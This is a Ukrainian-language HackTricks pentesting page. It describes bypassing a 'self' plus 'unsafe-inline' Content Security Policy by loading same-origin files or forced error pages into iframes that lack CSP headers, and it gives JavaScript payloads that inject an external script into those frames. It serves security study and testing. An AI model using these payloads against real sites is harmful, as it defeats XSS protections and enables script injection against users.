hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

3.3 KiB
Raw Blame History

Конфігурація, така як:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: eval, setTimeout, setInterval будуть заблоковані через налаштування unsafe-eval.

Будь-який контент з зовнішніх джерел також заблокований, включаючи зображення, CSS, WebSockets і, особливо, JS.

Через текст та зображення

Спостерігається, що сучасні браузери перетворюють зображення та тексти в HTML для покращення їх відображення (наприклад, налаштування фону, центрування тощо). Внаслідок цього, якщо зображення або текстовий файл, такий як favicon.ico або robots.txt, відкривається через iframe, він відображається як HTML. Варто зазначити, що ці сторінки часто не мають заголовків CSP і можуть не включати X-Frame-Options, що дозволяє виконання довільного JavaScript з них:

frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

Через помилки

Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можуть бути викликані для завантаження в iframe, що дозволяє виконати наступні дії:

// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)

// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)

// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}

Після активації будь-якого з наведених сценаріїв, виконання JavaScript в межах iframe можливе наступним чином:

script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

Посилання

{{#include ../../banners/hacktricks-training.md}}